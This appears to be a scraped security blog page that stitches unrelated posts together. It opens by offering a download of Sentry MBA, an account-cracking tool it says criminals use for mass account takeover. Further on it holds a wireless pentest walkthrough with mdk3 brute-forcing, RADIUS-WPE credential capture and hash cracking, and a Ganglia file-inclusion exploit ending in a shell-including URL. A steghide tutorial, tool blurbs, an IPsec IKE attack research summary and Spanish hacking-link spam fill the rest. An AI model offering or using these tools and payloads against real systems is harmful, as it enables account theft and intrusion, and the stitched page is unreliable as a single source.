terça-feira, 12 de maio de 2020

DOWNLOAD SENTRY MBA V1.4.1 – AUTOMATED ACCOUNT CRACKING TOOL

Sentry MBA is an automated account cracking tool that makes it one of the most popular cracking tools. It is used by cybercriminals to take over user accounts on major websites. With Sentry MBA, criminals can rapidly test millions of usernames and passwords to see which ones are valid on a targeted website. The tool has become incredibly popular — the Shape Security research team sees Sentry MBA attack attempts on nearly every website we protect.  Download Sentry MBA v1.4.1 latest version.

FEATURES

Sentry MBA has a point-and-click graphical user interface, online help forums, and vibrant underground marketplaces to enable large numbers of individuals to become cybercriminals. These individuals no longer need advanced technical skills, specialized equipment, or insider knowledge to successfully attack major websites.
Sentry MBA attack has three phases,
  • Targeting and attack refinement
  • Automated account check
  • Monetization
Related posts

Wireless Scenarios Part 1: EAP-Radius JTR Hashcat, SSID MAC Issues And More

Intro: 
I have been on a number of wireless engagements again lately and much like the wireless blog i wrote over a year ago i am trying various combinations of techniques and tools in conjunction to gain access to networks. I will show a range of tools and techniques mostly as a reminder to myself. The format will be scenario based on what i have been seeing while testing.  Some of these tools include JTR/Hashcat with specialized rulesets, mdk3 for SSID/MAC bruteforcing, evil access points for bypassing guest networks, DNS redirection/tunneling as well as radius-wpe attacks etc... This will be a 2 part blog, first blog being more Pre-Auth attacks and the second blog being more client attacks.



Finding Hidden SSID's and Limited user network attacks:
Recently i have been on a lot of tests where administrators think its a wonderful idea to hide their SSID's. Administrators feel that if they hide their SSID's they are magically secure. While Cloaked SSID's may pose a slight problem it's not a security feature. Especially when hiding WEP encrypted networks. One issue that keeps coming up is hidden networks with NO clients thus no probe request/response traffic available to passively capture an SSID. Without clients you can't de-authenticate and force reconnections requests with SSID's. To top that off administrators are also running another trivial security feature known as MAC filtering. While MAC filtering is also easy to bypass, again there are no clients on the network so we must come up with strategies to figure out both the SSID's and the possible client MAC addresses. Lets start by addressing the SSID issue.
SSID's can generally be seen in the Beacon traffic. However, if MAC cloaking or hidden SSID's are enabled on your access point they are stripped from the beacon traffic. Striping the beacons of SSID's is usually not a problem if there are clients looking to join the network. As the SSID's must be sent in probe traffic to successfully inquire about joining the network, and SSID's are than easily obtained. Thus why tools like kismet can passively discover the correct SSID given a bit of time and a few clients probing for the hidden network. But, what happens if there is no client traffic?
So the actual scenario i was presented with recently was a Cloaked SSID on a limited use network running WEP, which had a MAC filtered client device. This device would attach to the network once a day for a limited amount of time. So the first piece of the puzzle would be figuring out the SSID for later use then tackling the rest of the problem.

We start with a nice little tool called MDK3 which can be used to send out mass SSID requests in either dictionary style or bruteforce in order to determine an SSID. Lets start with the simple syntax then get into some more fine tuned strategies for determining SSID's based on the mind of the sysadmin.

There are 2 modes i have been using, one is dictionary mode and the other bruteforce mode, i would always start with dictionary because its faster. If a dictionary gives no resultes then move to bruteforce techniques. Also have your Airodump-ng/Kismet running during the attack and if the SSID is found it should apear in there as well as your MDK3 results window. You can get your target BSSID value from airodump along with useful information sometimes regarding length of a hidden SSID value which can be used in fine tuning bruteforcing. MDK3 will automatically pick the correct length and then begin bruteforcing based on that length value:

Below is an example of SSID Length Output: 
CH 6 ][ Elapsed: 8 s ][ 2012-03-01 21:08
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:24:A5:6F:2E:D5 -59 5 0 0 5 54 WEP WEP length: 12
00:1A:A1:05:E8:20 -61 2 0 0 3 48 . WEP WEP length: 1
00:24:A5:6F:37:9F -64 2 0 0 5 54 WEP WEP length: 12

You will notice example output above says that one SSID is of length 12 and another is of length 1, these are the SSID perceived length values based on values in the packet capture. Not always accurate because these values are just Null place holder values and not always set accurately. Essentially one SSID packet above has a one null value while the other packet has 12 null values as placeholders. If a length of 1 is present you may have to start at 1 and go through the whole range of brute forcing. If the length is known then you can start and end at 12 in this case shortening the full bruteforce time considerably.

Attack Modes and Info:
Dictionary Mode:
./mdk3 [Interface] p -c 1 -t [BSSID] -f [dictionary] -s 100

Bruteforce mode:
./mdk3 [Interface] p -c 1 -t [BSSID] -b u -s 100

Above Switch mappings are defined as the following:
b = bruteforce also can add a character set b [charset]
s = packet speed
c = channel
f = ssid dictionary file

I first tried a regular dictionary attack of common words:
ficti0n:# mdk3 mon0 p -c 1 -t 00:01:55:B1:A3:A5 -f english.txt
channel set to: 1
SSID Wordlist Mode activated!
Waiting for beacon frame from target...
Sniffer thread started
Found SSID length 1, usually a placeholder, no information about real SSIDs length available.
Trying SSID:
Packets sent: 1 - Speed: 1 packets/sec
Got response from 03:F0:9F:17:08:32, SSID: "Secure_Access"
Last try was: (null)
Trying SSID: beauty
Packets sent: 167 - Speed: 166 packets/sec
Got response from 03:F0:9F:17:08:33, SSID: "Guest_Access"
Last try was: (null)
Trying SSID: bianca
Trying SSID: winnie
Trying SSID: isabella
Trying SSID: sierra
Trying SSID: 00000000
Trying SSID: dancer1
Packets sent: 32507 - Speed: 376 packets/sec
Got response from 00:3B:10:47:33:32, SSID: "wow"

I began with a dictionary against a network address i got from my initial airodump-ng. On my first MDK3 run i found one new access point named "wow" but i didnt find the target AP's SSID. If you look at the above MDK3 output there are 2 other networks with similar formats which may reflect our target networks format. Below you will see a similar format.
  • Guest_Access
  • Secure_Access
Creating a Custom dictionary based on observations:
If the target company has a repeating SSID format we can create our own dictionary file. According to the above output the format is [Word]_Access, we can take advantage of this by creating a new list with python using the company format. Break open your python editor and create a quick script to parse the english dictionary in the proper format for our attack by uppercasing every dictionary word and appending the word "Access".

#--------------------------------------------------------------
#!/usr/bin/python

dictionary = open("rockyou-75.txt", "r")
SSID_List = open("SSID_List.txt", "a")


for word in dictionary:
word = str.capitalize(word) + "Access"
SSID_List.write(word)


SSID_List.close()
dictionary.close()

#----------------------------------------------------------------

I then ran MDK3 again with my modified list. When this was done I then was able to get a response from MDK3 and determine the SSID of the target network, shown below.

Got response from 00:01:55:B1:A3:A5, SSID: "Secret_Access"


Luckily i didn't have to resort to a true bruteforce attack although the format is shown above for completeness. 



MDK3 MAC address Bruteforce:
The next issue is that of determining a valid MAC address on a network without any known clients, this can also be done with MDK3 and bruteforce mode.  I would suggest looking at other client MAC addresses on the guest or corporate networks as a starting point. Then use those vendor startpoints as your bruteforce values. So if for example you know a bit about the company based on other network MAC values you can use this knowledge in your brute forcing with the -f switch. Below is a basic command ouput for bruteforcing MAC address filters.


ficti0n:# mdk3 mon0 f -t

Trying MAC 00:00:22:00:00:00 with 100.0000 ms timeout at 0 MACs per second and 0 retries
Trying MAC 00:00:22:00:00:00 with 100.0000 ms timeout at 0 MACs per second and 1 retries
Packets sent: 2 - Speed: 1 packets/sec

Found a valid MAC adress: 00:00:22:00:00:00
Have a nice day! :)

Mdk3 -fullhelp output:
--------------------------------------------------------------

MAC filter bruteforce mode
This test uses a list of known client MAC Adresses and tries to
authenticate them to the given AP while dynamically changing
its response timeout for best performance. It currently works only
on APs who deny an open authentication request properly
-t
Target BSSID
-m
Set the MAC adress range to use (3 bytes, i.e. 00:12:34)
Without -m, the internal database will be used
-f
Set the MAC adress to begin bruteforcing with
(Note: You can't use -f and -m at the same time)
---------------------------------------------------------------------

I wasn't aware of the above technique at the time of testing but i did give it a try on a local Access Point and found a useable mac address under contrived scenarios. So this was worth noting as I found almost zero mention of it when searching around. Also note that some access points do not properly handle the authentication scenarios in which case the above technique will not work correctly. Usually the user sends an auth request and then the AP sends an auth response denoting success or failure along with an error code, but MAC filering is not part of the normal standard so results will vary regarding error codes. This is AP functionality independent. When it does work it gives you a little smily face and says it found a useable MAC address [SHOWN ABOVE] . Unfortunately in my penetration test I was stuck waiting for a client to come online to get a useable MAC address. Below are a few ideas for the rest of the scenario.


Depending on the location and use of the limited connectivity device there are a few options available for retrieving the WEP key. Networks with hidden SSID's have clients who are always probing for hidden networks whether onsite or remote. You could attack a client directly via a Cafe Latte attack. A Caffe Latte attack woud attack a client with a fake access point and gratuitas ARP requests to discover the WEP key of "Secret_Access" by flooding the client with ARP requests it responds to, generating enough traffic to derive the WEP key. This technique is useful now that you know the SSID, especially if the device is being used at the local coffee shop. I will take a look at this attack in the next blog when focusing on client based attacks.

Caffe Latte was not a good option for me because the device appears online for a short period of time and might not be available either offsite at a coffee shop or even locally long enough to generate enough traffic to crack the network. In this test I however didn't have enough time to see client actually get online but had I see the client get online I would have noted his MAC address and then configured a chop chop or fragmentation attack against the network whether the client was available or not all i would really need is one data packet. I will not illustrate this whole technique as it is fully covered in the following link Cracking WEP with no Clients.


Cracking Radius /PEAP/TTLS Hashes: (Post EAP Attack)
This is about attacking hashes from WPE Radius attacks, but just as a reference before we start here is a quick radius attack setup guide without going into to much detail.


Steps to Setup WPE attack
  1. Install the following freeradius server and WPE patch. http://blog.opensecurityresearch.com/2011/09/freeradius-wpe-updated.html
  2. Start your WPE server by typing 'radiusd'
  3. Tail your log file so you can see incoming credentials 'tail -f /usr/local/var/log/radius/freeradius-server-wpe.log
  4. Setup an access point with similar settings as to what you are seeing in airodump or wireshark essentially this will be a WPA Enterprise with AES and a default secret of 'test' which is set in the WPE installed package by default so it can talk between the AP and the radius server. You will also need to run an ifconfig on your radius server box so you know what address to point the AP too.
  5. Optionally you can use hostAP instead of a physical enterprise AP setup.

Use one of your local computers to connect to the FreeRadius wireless network and type in a fake username/password to grab an example hash. If you dont see your hash output in the logfile then double check all your ip addresses and insure your server is running. In a real attack you would wait for clients to attach to your Access point and the credentials will be forwarded to your FreeRadius-WPE server. Once this is done the fun begins and also where we will start in our attack scenario.

Formatting hashes:
Your hashes can come in a few formats, they might come back as PAP responses in which case they will be plain text passwords. Plaintext PAP can sometimes be a result of mobile devices sending paswords. Otherwise your attack will result in MSChap password challenge/response hashes. Once you receive your MSChap hashes they have to be formated in a specific way in order to crack them. Here is an example hash and the proper format to use before trying to crack the hashes.

Example Hash:
mschap: Mon Feb 05 19:35:59 2012
username: test
challenge: b3:f8:48:e9:db:02:22:83
response: 15:36:d7:e9:da:43:1f:5f:d2:4b:51:53:87:89:63:b7:12:26:7c:a8:f7:ea:9c:26

Formated for john:(username::::response:challenge)
test::::1536d7e9da431f5fd24b5153878963b712267ca8f7ea9c26:b3f848e9db022283

Tool to automate this: (Tool Link)
One of my friends wrote a python script that will take your freeradius-server-wpe.log as input and format out all of the hashes one per line.. The script output can be fed directly into John The Ripper(JTR).

JTR Cracking and Custom Rulesets:
One way to crack these hashes is to use JTR with a bunch of dictionary attacks and if that fails procede from there with custom korelogic rulesets. Check out preceding link for more info on password cracking techniques which can be employed in addition to this blog. Below I will reiterate a few points on setting up JTR with custom rulesets from the Defcon challenge in 2010 based on the previous link and then how to parse them out and use them.

The first thing to note is that the format of the hashes you get from WPE will generally be considered NETNTLM within JTR so we will have to specify that as well as the wordlists we would like to use to start.

Dictionary attacking first:
First go into your JTR directory and try to crack with some dictionaries of your choosing:
ficti0n:# cd Desktop/Tools\ /john/run
ficti0n:# ./john --wordlist=wordlists/wpa.txt --format=NETNTLM JohnFormat.txt

Loaded 1 password hash (NTLMv1 C/R MD4 DES [netntlm])
test             (test)
guesses: 1  time: 0:00:00:00 100.00% (ETA: Tue Mar 20 19:29:31 2012)  c/s: 692441  trying: test

Custom Rules: korelogic rulesets (Link)
If the cracking fails on all of your wordlists then try installing custom rulesets with the following sequence of commands meant do download and then append the rules to the current john file. The following command can also be found at the above Korelogic link.
ficti0n:# wget http://contest-2010.korelogic.com/rules.txt
ficti0n:# cat rules.txt >> john.conf


Once this is done you can directly specify any rule in the file similar to the following:
ficti0n:# ./john --wordlist=wordlists/english.txt --format=NETNTLM --rules:KoreLogicRulesAppendNum_AddSpecialEverywhere johnFormat.txt


Or if you are time independent just let them all rip and go on vacation and check the results when you get back LOL
ficti0n:# for ruleset in `grep KoreLogicRules john.conf | cut -d: -f 2 | cut -d\] -f 1`; do ./john --wordlist=wordlists/english.txt --format=NETNTLM --rules:${ruleset} JohnFormat.txt; done


Hashcat rulesets and building pasword files:
Another way to build complex password files is to use tools like HashCat with supplied password rules and pipe it out to STDOut, either into a file or the STDIn of other cracking programs like John the Ripper. There is a rules folder in HashCat which has a number of rules provided by default.


Available Hashcat Rules:
ficti0n:# ls
best64.rule      generated.rule   passwordspro.rule  T0XlC.rule     toggles3.rule
combinator.rule  leetspeak.rule   perfect.rule       toggles1.rule  toggles4.rule
d3ad0ne.rule     oscommerce.rule  specific.rule      toggles2.rule  toggles5.rule

Creating Passwords with Hashcat and a dictionary:
ficti0n:# ./hashcat-cli32.bin -r rules/passwordspro.rule ../wordlists/cain.txt --stdout

You can also pipe passwords directly into JTR from hashcat output but its really slow so I suggest you make a world list then load it up with --wordlist, but the example is shown below.

Piping Hashcat password rules into JTR: (really slow)
ficti0n:# ./hashcat-cli32.bin -r rules/passwordspro.rule ../wordlists/rockyou-75.txt --stdout |/pentest/passwords/john/john --format=NETNTLM JohnFormat.txt --stdin


I hope someone finds my above notes useful, I am going to write up some client side attack stuff as well and post it up here... Let me know if you have any questions or need more clarification on anything covered in the blogs. 

Continue reading


Ganglia Monitoring System LFI


Awhile back when doing a pentest I ran into an interesting web application on a server that was acting as a gateway into a juicy environment *cough*pci*cough*, the application was "Ganglia Monitoring System" http://ganglia.sourceforge.net
The scope of the test was extremely limited and it wasn't looking good....the host that was in scope had a ton of little stuff but nothing that looked like it would give me a solid foothold into the target network. After spending some time looking for obvious ways into the system I figured it would be worth looking at the Ganglia application, especially since I could find no public exploits for the app in the usual places....

First step was to build a lab up on a VM (ubuntu)
apt-get install ganglia-webfrontend

After apt was done doing its thing I went ahead and started poking around in the web front end files (/usr/share/ganglia-webfrontend). I looked to see if the application had any sort of admin functionality that I could abuse or some sort of insecure direct object reference issues. Nothing looked good. I moved on to auditing the php.

Started out with a simple grep looking for php includes that used a variable....bingo.

steponequit@steponequit-desktop:/usr/share/ganglia-webfrontend$ egrep 'include.*\$' *
class.TemplatePower.inc.php: if( isset( $this->tpl_include[ $regs[2] ]) )
class.TemplatePower.inc.php: $tpl_file = $this->tpl_include[ $regs[2] ][0];
class.TemplatePower.inc.php: $type = $this->tpl_include[ $regs[2] ][1];
class.TemplatePower.inc.php: if( isset( $this->tpl_include[ $regs[2] ]) )
class.TemplatePower.inc.php: $include_file = $this->tpl_include[ $regs[2] ][0];
class.TemplatePower.inc.php: $type = $this->tpl_include[ $regs[2] ][1];
class.TemplatePower.inc.php: $include_file = $regs[2];
class.TemplatePower.inc.php: if( !@include_once( $include_file ) )
class.TemplatePower.inc.php: $this->__errorAlert( 'TemplatePower Error: Couldn\'t include script [ '. $include_file .' ]!' );
class.TemplatePower.inc.php: $this->tpl_include["$iblockname"] = Array( $value, $type );
graph.php: include_once($graph_file);
The graph.php line jumped out at me. Looking into the file it was obvious this variable was built from user input :)
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : NULL;
....
....
....
$graph_file = "$graphdir/$graph.php";


Taking at look at the "sanitize" function I can see this shouldn't upset any file include fun

function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}

#-------------------------------------------------------------------------------
# If arg is a valid number, return it. Otherwise, return null.
function clean_number( $value )
{
return is_numeric( $value ) ? $value : null;
}
Going back to the graph.php file

$graph_file = "$graphdir/$graph.php";

if ( is_readable($graph_file) ) {
include_once($graph_file);

$graph_function = "graph_${graph}";
$graph_function($rrdtool_graph); // Pass by reference call, $rrdtool_graph modified inplace
} else {
/* Bad stuff happened. */
error_log("Tried to load graph file [$graph_file], but failed. Invalid graph, aborting.");
exit();
}

We can see here that our $graph value is inserted into the target string $graph_file with a directory on the front and a php extension on the end. The script then checks to make sure it can read the file that has been specified and finally includes it, looks good to me :).
The start of our string is defined in conf.php as "$graphdir='./graph.d'", this poses no issue as we can traverse back to the root of the file system using "../../../../../../../../". The part that does pose some annoyance is that our target file must end with ".php". So on my lab box I put a php file (phpinfo) in "/tmp" and tried including it...


Win. Not ideal, but it could work....

Going back to the real environment with this it was possible to leverage this seemingly limited vulnerability by putting a file (php shell) on the nfs server that was being used by the target server, this information was gathered from a seemingly low vuln - "public" snmp string. Once the file was placed on nfs it was only a matter of making the include call. All in a hard days work.

I have also briefly looked at the latest version of the Ganglia web front end code and it appears that this vuln still exists (graph.php)

$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
...
...
...
$php_report_file = $conf['graphdir'] . "/" . $graph . ".php";
$json_report_file = $conf['graphdir'] . "/" . $graph . ".json";
if( is_file( $php_report_file ) ) {
include_once $php_report_file;


tl;dr; wrap up - "Ganglia Monitoring System" http://ganglia.sourceforge.net contains a LFI vulnerability in the "graph.php" file. Any local php files can be included by passing its location to the "g" parameter - http://example.com/ganglia/graph.php?g=../../../../../../../tmp/shell

Read more


  1. Curso Hacking Etico Gratis
  2. Hacking Quotes
  3. Wifi Hacking
  4. Que Es El Hacking

segunda-feira, 11 de maio de 2020

LEGALITY OF ETHICAL HACKING

Why ethical hacking?
Legality of Ehical Hacking
 
Ethical hacking is legal if the hacker abides by the rules stipulated in above section on the definition of ethical hacking.

Ethical hacking is not legal for black hat hackers.They gain unauthorized access over a computer system or networks for money extortion.

More info


  1. Drupal Hacking
  2. Hacking Growth Pdf
  3. Hacking Basico
  4. Master Growth Hacking

Steghide - A Beginners Tutorial




All of us want our sensitive information to be hidden from people and for that we perform different kinds of things like hide those files or lock them using different softwares. But even though we do that, those files  attractive people to itself as an object of security. Today I'm going to give you a slight introduction to what is called as Steganography. Its a practice of hiding an informational file within another file like you might have seen in movies an image has a secret message encoded in it. You can read more about Steganography from Wikipedia.


In this tutorial I'm going to use a tool called steghide, which is a simple to use Steganography tool and I'm running it on my Arch Linux. What I'm going to do is simply encode an image with a text file which contains some kind of information which I don't want other people to see. And at the end I'll show you how to decode that information back. So lets get started:


Requirements:

1. steghide
2. a text file
3. an image file

After you have installed steghide, fire up the terminal and type steghide




It will give you list of options that are available.


Now say I have a file with the name of myblogpassword.txt which contains the login password of my blog and I want to encode that file into an Image file with the name of arch.jpg so that I can hide my sensitive information from the preying eyes of my friends. In order to do that I'll type the following command in my terminal:


steghide embed -ef myblogpassword.txt -cf arch.jpg




here steghide is the name of the program

embed flag is used to specify to steghide that we want to embed one file into another file
-ef option is used to specify to steghide the name (and location, in case if its in some other directory) of the file that we want to embed inside of the another file, in our case its myblogpassword.txt
-cf option is used to specify the name (and location, in case if its in some other directory) of the file in which we want to embed our file, in our case its an image file named arch.jpg

After typing the above command and hitting enter it will prompt for a password. We can specify a password here in order to password protect our file so that when anyone tries to extract our embedded file, they'll have to supply a password in order to extract it. If you don't want to password protect it you can just simply hit enter.


Now myblogpassword.txt file is embedded inside of the image file arch.jpg. You'll see no changes in the image file except for its size. Now we can delete the plain password text file myblogpassword.txt.


In order to extract the embedded file from the cover file, I'll type following command in the terminal:


steghide extract -sf arch.jpg -xf myblogpass.txt




here steghide is again name of the program
extract flag specifies that we want to extract an embedded file from a stego file
-sf option specifies the name of the stego file or in other words the file in which we embedded another file, in our case here its the arch.jpg file
-xf option specifies the name of the file to which we want to write our embedded file, here it is myblogpass.txt
(remember you must specify the name of file with its location if its somewhere else than the current directory)

After typing the above command and hitting enter, it will prompt for a password. Supply the password if any or otherwise just simply hit enter. It will extract the embedded file to the file named myblogpass.txt. Voila! you got your file back but yes the image file still contains the embedded file.


That's it, very easy isn't it?


It was a pretty basic introduction you can look for other things like encrypting the file to be embedded before you embed it into another file and so on... enjoy
:)

Related articles
  1. Body Hacking
  2. Tecnicas De Hacking
  3. Hacking Growth Pdf
  4. Libros Hacking Pdf
  5. Ethical Hacking Curso
  6. Hacking Hardware
  7. Que Significa Hat
  8. Raspberry Pi Hacking
  9. Tutoriales Hacking
  10. Elladodelmal
  11. Hacker Definicion Informatica
  12. Hardware Hacking
  13. Hacking Mac

W3AF

"W3AF is a Web Application Attack and Audit Framework. The project goal is to create a framework to find and exploit web application vulnerabilities that is easy to use and extend. This project is currently hosted at SourceForge." read more...

More information
  1. Ingeniería Social El Arte Del Hacking Personal
  2. Hacking Ethical
  3. Hacking Etico Que Es
  4. Como Empezar A Hackear
  5. Aprender A Hackear Desde Cero
  6. Programa De Hacking
  7. Que Es El Hacking

John The Ripper


"A powerful, flexible, and fast multi-platform password hash cracker John the Ripper is a fast password cracker, currently available for many flavors of Unix (11 are officially supported, not counting different architectures), DOS, Win32, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. It supports several crypt(3) password hash types which are most commonly found on various Unix flavors, as well as Kerberos AFS and Windows NT/2000/XP LM hashes. Several other hash types are added with contributed patches. You will want to start with some wordlists, which you can find here or here. " read more...

Website: http://www.openwall.com/john

Related posts


  1. Hacking Windows: Ataques A Sistemas Y Redes Microsoft
  2. Hacking Tutorials
  3. Curso De Hacking
  4. Hacking Pdf
  5. Hacking Web Technologies Pdf
  6. Hacking Con Python
  7. Mindset Hacking Español
  8. Blog Hacking
  9. Hacking Day
  10. Hacking Desde Cero
  11. Linux Hacking Distro
  12. Que Estudiar Para Ser Hacker
  13. Escuela Travel Hacking

domingo, 10 de maio de 2020

Practical Bleichenbacher Attacks On IPsec IKE

We found out that reusing a key pair across different versions and modes of IPsec IKE can lead to cross-protocol authentication bypasses, enabling the impersonation of a victim host or network by attackers. These vulnerabilities existed in implementations by Cisco, Huawei, and others.

This week at the USENIX Security conference, I will present our research paper on IPsec attacks: The Dangers of Key Reuse: Practical Attacks on IPsec IKE written by Martin Grothe, Jörg Schwenk, and me from Ruhr University Bochum as well as Adam Czubak and Marcin Szymanek from the University of Opole [alternative link to the paper]. This blog post is intended for people who like to get a comprehensive summary of our findings rather than to read a long research paper.

IPsec and Internet Key Exchange (IKE)

IPsec enables cryptographic protection of IP packets. It is commonly used to build VPNs (Virtual Private Networks). For key establishment, the IKE protocol is used. IKE exists in two versions, each with different modes, different phases, several authentication methods, and configuration options. Therefore, IKE is one of the most complex cryptographic protocols in use.

In version 1 of IKE (IKEv1), four authentication methods are available for Phase 1, in which initial authenticated keying material is established: Two public key encryption based methods, one signature based method, and a PSK (Pre-Shared Key) based method.

Attacks on IKE implementations

With our attacks we can impersonate an IKE device: If the attack is successful, we share a set of (falsely) authenticated symmetric keys with the victim device, and can successfully complete the handshake – this holds for both IKEv1 and IKEv2. The attacks are based on Bleichenbacher oracles in the IKEv1 implementations of four large network equipment manufacturers: Cisco, Huawei, Clavister, and ZyXEL. These Bleichenbacher oracles can also be used to forge digital signatures, which breaks the signature based IKEv1 and IKEv2 variants. Those who are unfamiliar with Bleichenbacher attacks may read this post by our colleague Juraj Somorovsky for an explanation.

The affected hardware test devices by Huawei, Cisco, and ZyXEL in our network lab.

We show that the strength of these oracles is sufficient to break all handshake variants in IKEv1 and IKEv2 (except those based on PSKs) when given access to powerful network equipment. We furthermore demonstrate that key reuse across protocols as implemented in certain network equipment carries high security risks.

We additionally show that both PSK based modes can be broken with an offline dictionary attack if the PSK has low entropy. Such an attack was previously only documented for one of those modes (edit: see this comment). We thus show attacks against all authentication modes in both IKEv1 and IKEv2 under reasonable assumptions.

The relationship between IKEv1 Phase 1, Phase 2, and IPsec ESP. Multiple simultaneous Phase 2 connections can be established from a single Phase 1 connection. Grey parts are encrypted, either with IKE derived keys (light grey) or with IPsec keys (dark grey). The numbers at the curly brackets denote the number of messages to be exchanged in the protocol.

Where's the bug?

The public key encryption (PKE) based authentication mode of IKE requires that both parties exchanged their public keys securely beforehand (e. g. with certificates during an earlier handshake with signature based authentication). RFC 2409 advertises this mode of authentication with a plausibly deniable exchange to raise the privacy level. In this mode, messages three and four of the handshake exchange encrypted nonces and identities. They are encrypted using the public key of the respective other party. The encoding format for the ciphertexts is PKCS #1 v1.5.

Bleichenbacher attacks are adaptive chosen ciphertext attacks against RSA-PKCS #1 v1.5. Though the attack has been known for two decades, it is a common pitfall for developers. The mandatory use of PKCS #1 v1.5 in the PKE authentication methods raised suspicion of whether implementations resist Bleichenbacher attacks.

PKE authentication is available and fully functional in Cisco's IOS operating system. In Clavister's cOS and ZyXEL's ZyWALL USG devices, PKE is not officially available. There is no documentation and no configuration option for it and it is therefore not fully functional. Nevertheless, these implementations processed messages using PKE authentication in our tests.

Huawei implements a revised mode of the PKE mode mentioned in the RFC that saves one private key operation per peer (we call it RPKE mode). It is available in certain Huawei devices including the Secospace USG2000 series.

We were able to confirm the existence of Bleichenbacher oracles in all these implementations. Here are the CVE entries and security advisories by the vendors (I will add links once they are available):
On an abstract level, these oracles work as follows: If we replace the ciphertext of the nonce in the third handshake message with a modified RSA ciphertext, the responder will either indicate an error (Cisco, Clavister, and ZyXEL) or silently abort (Huawei) if the ciphertext is not PKCS #1 v1.5 compliant. Otherwise, the responder continues with the fourth message (Cisco and Huawei) or return an error notification with a different message (Clavister and ZyXEL) if the ciphertext is in fact PKCS #1 v1.5 compliant. Each time we learn that the ciphertext was valid, we can advance the Bleichenbacher attack one more step.

A Bleichenbacher Attack Against PKE

If a Bleichenbacher oracle is discovered in a TLS implementation, then TLS-RSA is broken since one can compute the Premaster Secret and the TLS session keys without any time limit on the usage of the oracle. For IKEv1, the situation is more difficult: Even if there is a strong Bleichenbacher oracle in PKE and RPKE mode, our attack must succeed within the lifetime of the IKEv1 Phase 1 session, since a Diffie-Hellman key exchange during the handshake provides an additional layer of security that is not present in TLS-RSA. For example, for Cisco this time limit is currently fixed to 60 seconds for IKEv1 and 240 seconds for IKEv2.

To phrase it differently: In TLS-RSA, a Bleichenbacher oracle allows to perform an ex post attack to break the confidentiality of the TLS session later on, whereas in IKEv1 a Bleichenbacher oracle only can be used to perform an online attack to impersonate one of the two parties in real time.

Bleichenbacher attack against IKEv1 PKE based authentication.

The figure above depicts a direct attack on IKEv1 PKE:
  1. The attackers initiate an IKEv1 PKE based key exchange with Responder A and adhere to the protocol until receiving the fourth message. They extract the encrypted nonce from this message, and record the other public values of the handshake.
  2. The attackers keep the IKE handshake with Responder A alive as long as the responder allows. For Cisco and ZyXEL we know that handshakes are cancelled after 60 seconds, Clavister and Huawei do so after 30 seconds.
  3. The attackers initiate several parallel PKE based key exchanges to Responder B.
    • In each of these exchanges, they send and receive the first two messages according to the protocol specifications.
    • In the third message, they include a modified version of the encrypted nonce according to the the Bleichenbacher attack methodology.
    • They wait until they receive an answer or they can reliably determine that this message will not be sent (timeout or reception of a repeated second handshake message).
  4. After receiving enough answers from Responder B, the attackers can compute the plaintext of the nonce.
  5. The attackers now have all the information to complete the key derivation and the handshake. They thus can impersonate Responder B to Responder A.

Key Reuse

Maintaining individual keys and key pairs for each protocol version, mode, and authentication method of IKE is difficult to achieve in practice. It is oftentimes simply not supported by implementations. This is the case with the implementations by Clavister and ZyXEL, for example. Thus, it is common practice to have only one RSA key pair for the whole IKE protocol family. The actual security of the protocol family in this case crucially depends on its cross-ciphersuite and cross-version security. In fact, our Huawei test device reuses its RSA key pair even for SSH host identification, which further exposes this key pair.

A Cross-Protocol Version Attack with Digital Signature Based Authentication

Signature Forgery Using Bleichenbacher's Attack

It is well known that in the case of RSA, performing a decryption and creating a signature is mathematically the same operation. Bleichenbacher's original paper already mentioned that the attack could also be used to forge signatures over attacker-chosen data. In two papers that my colleagues at our chair have published, this has been exploited for attacks on XML-based Web Services, TLS 1.3, and Google's QUIC protocol. The ROBOT paper used this attack to forge a signature from Facebook's web servers as proof of exploitability.

IKEv2 With Digital Signatures

Digital signature based authentication is supported by both IKEv1 and IKEv2. We focus here on IKEv2 because on Cisco routers, an IKEv2 handshake may take up to four minutes. This more relaxed timer compared to IKEv1 makes it an interesting attack target.

I promised that this blogpost will only give a comprehensive summary, therefore I am skipping all the details about IKEv2 here. It is enough to know that the structure of IKEv2 is fundamentally different from IKEv1.

If you're familiar with IT-security, then you will believe me that if digital signatures are used for authentication, it is not particularly good if an attacker can get a signature over attacker chosen data. We managed to develop an attack that exploits an IKEv1 Bleichenbacher oracle at some peer A to get a signature that can be used to break the IKEv2 authentication at another peer B. This requires that peer A reuses its key pair for IKEv2 also for IKEv1. For the details, please read our paper [alternative link to the paper].

Evaluation and Results

For testing the attack, we used a Cisco ASR 1001-X router running IOS XE in version 03.16.02.S with IOS version 15.5(3)S2. Unfortunately, Cisco's implementation is not optimized for throughput. From our observations we assume that all cryptographic calculations for IKE are done by the device's CPU despite it having a hardware accelerator for cryptography. One can easily overload the device's CPU for several seconds with a standard PC bursting handshake messages, even with the default limit for concurrent handshakes. And even if the CPU load is kept below 100 %, we nevertheless observed packet loss.

For the decryption attack on Cisco's IKEv1 responder, we need to finish the Bleichenbacher attack in 60 seconds. If the public key of our ASR 1001-X router is 1024 bits long, we measured an average of 850 responses to Bleichenbacher requests per second. Therefore, an attack must succeed with at most 51,000 Bleichenbacher requests.

But another limit is the management of Security Associations (SAs). There is a global limit of 900 Phase 1 SAs under negotiation per Cisco device in the default configuration. If this number is exceeded, one is blocked. Thus, one cannot start individual handshakes for each Bleichenbacher request to issue. Instead, SAs have to be reused as long as their error counter allows. Furthermore, establishing SAs with Cisco IOS is really slow. During the attack, the negotiations in the first two messages of IKEv1 require more time than the actual Bleichenbacher attack.

We managed to perform a successful decryption attack against our ASR 1001-X router with approximately 19,000 Bleichenbacher requests. However, due to the necessary SA negotiations, the attack took 13 minutes.

For the statistics and for the attack evaluation of digital signature forgery, we used a simulator with an oracle that behaves exactly as the ones by Cisco, Clavister, and ZyXEL. We found that about 26% of attacks against IKEv1 could be successful based on the cryptographic performance of our Cisco device. For digital signature forgery, about 22% of attacks could be successful under the same assumptions.

Note that (without a patched IOS), only non-cryptographic performance issues prevented a succesful attack on our Cisco device. There might be faster devices that do not suffer from this. Also note that a too slow Bleichenbacher attack does not permanently lock out attackers. If a timeout occurs, they can just start over with a new attack using fresh values hoping to require fewer requests. If the victim has deployed multiple responders sharing one key pair (e. g. for load balancing), this could also be leveraged to speed up an attack.

Responsible Disclosure

